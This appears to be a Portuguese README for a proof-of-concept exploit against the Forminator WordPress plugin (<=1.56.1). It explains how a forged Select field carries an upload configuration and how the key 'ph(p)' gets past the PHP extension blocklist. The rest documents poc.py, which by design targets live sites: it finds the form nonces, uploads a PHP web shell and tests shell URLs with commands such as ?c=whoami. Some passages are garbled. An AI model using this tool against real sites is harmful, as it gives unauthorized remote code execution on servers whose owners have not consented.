
Forminator Forms <= 1.56.1 - Upload Arbitrário de Arquivos Não Autenticado via Configuração Forjada de Campo de Upload
CVSS 9.8 (Crítico) · Afetado: Forminator <= 1.56.1 · Corrigido: 1.56.2
Pesquisador: daroo (Wordfence Bug Bounty, $2,048) · ~600 mil instalações ativas
Análise: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Três fragilidades encadeadas por meio de um valor forjado de campo Select:
Sem sanitização em matrizes de campos aninhadas — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() itera sobre cada campo armazenado. Para o campo Select armazenado select-1,
$field_data = prepared_data['select-1'] (matriz aninhada controlada pelo atacante). Quando ele carrega
return, a matriz é acrescentada a field_data_array por completo (front-action.php ~linha 1088),
antes de qualquer sanitização/validação por campo. maybe_handle_custom_option() não remove esses.
Configuração de campo não confiável tratada como confiável no upload — Forminator_CForm_Front_Action::process_uploads()
itera sobre field_data_array, confia no forjado field_type == 'upload', usa o name forjado para selecionar uma
entrada $_FILES, e passa o field_array forjado como configuração confiável para
Forminator_Upload::handle_file_upload().
Bypass da blocklist por chave exata — forminator_allowed_mime_types() remove a chave literal php, mas
wp_check_filetype() trata as chaves como regex. A chave ph(p) sobrevive à blocklist mas corresponde ao
sufixo .php. additional-type = ph(p)|text/x-php permite que um arquivo .php passe na validação.
Um formulário publicado deve conter ambos: um campo de Upload de Arquivo e um campo Select. O Select é apenas o transportador.
.php arbitrário ao disco é bem-sucedido por padrão (nenhuma configuração especial é necessária para a escrita)..htaccess. Tanto a raiz padrão do Forminator quanto uma raiz
personalizada recebem um .htaccess bloqueando PHP (SetHandler none / RemoveHandler). O RCE só ocorre quando
esse .htaccess está ausente — o cenário do writeup de "raiz de armazenamento personalizada criada durante uma requisição
de frontend onde insert_with_markers() não é carregado"..htaccess.wp-content/uploads/forminator/ → arquivo em
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (ex.: cveuploads), os arquivos vão para
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> é wp_hash($form_id) — derivado dos salts AUTH do site, portanto não é previsível
externamente. poc.py imprime o padrão do caminho; para completá-lo, você deve recuperar o hash (listagem de diretório,
URL/log de um arquivo já enviado, uma entrada no admin etc.) via --form-hash.wp_generate_password(12,false,false) . '-' . <original> → ex.:
cX3fRjMDDu03-shell.php (12 caracteres alfanuméricos aleatórios + - + nome original).poc.pyPrioriza alvos ao vivo por design; os auxiliares de laboratório local (varredura do sistema de arquivos, remoção de .htaccess) são restritos a
http://wordpresslab.test / http://localhost apenas.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| Flag | Descrição |
|---|---|
--target | URL base (ou URL completa da página quando não há --page-id/manual) |
--page-id | ID do post; se vazio, a própria URL de destino é buscada para obter nonce/form_id |
--form-id, --nonce | ignora a descoberta; ainda busca a página para coleta via --auto |
--upload-field | nome real do campo de upload (padrão upload-1) |
--forge-name | carreador $_FILES forjado (padrão = nome real, modo de colisão; use um nome distinto para obter um success=True limpo) |
--select | campo select a usar (padrão select-1) |
--extra name=value | força um valor de campo (repetível; --extra 'checkbox-1[]=a+b' para múltiplos) |
--auto / --no-auto | coleta os campos reais do formulário no HTML e preenche automaticamente valores plausíveis por tipo (padrão ativado) |
--upload-root | raiz de upload relativa (padrão wp-content/uploads/forminator; defina ex.: wp-content/uploads/cveuploads para raiz personalizada) |
--form-hash | a parte <hash> do diretório de upload → completa/imprime uma URL concreta |
--verify-url | ao vivo: testa uma URL de shell candidata com ?c=id/?c=whoami |
--find-shell | somente local (wordpresslab.test/localhost): encontra o *-shell.php mais recente, remove .htaccess, executa |
--no-htaccess | imprime a nota de remoção de .htaccess do laboratório local |
--auto (coletados do HTML do formulário)| Tipo de campo | Valor gerado |
|---|---|
email / nome contém email | auto<rand>@mailinator.com |
tel / nome contém phone | 10 dígitos aleatórios |
url / nome contém url | https://example.com/<rand> |
number | aleatório de 1 a 9999 |
date | 2026-08-19 |
grupo de checkbox/radio name[] | primeiro valor da opção (todas as entradas com o mesmo nome são varridas) |
| checkbox/radio único | atributo value, fallback checked |
<select> (não carreador) | primeira opção não vazia |
<textarea> | texto aleatório |
| texto simples | 10 caracteres aleatórios |
Ignorados: campos internos (action/form_id/nonce/...), type="file" (upload-*), select-*
(carreador do exploit), calculation-* (calculados) e campos de plugins externos (wpforms[...]).
Configuração:
build_form.php,
API Forminator_Form_Model).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads)
para podermos demonstrar RCE. cveuploads/ é um artefato de laboratório, não um padrão do Forminator.success=True limpo, o name forjado deve diferir do element_id do campo de upload
real. Um nome em colisão ainda envia o arquivo, mas o campo real também executa sua própria verificação de MIME
padrão → a resposta relata um erro enquanto o shell já está no disco.Evidência bruta (execução em laboratório):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php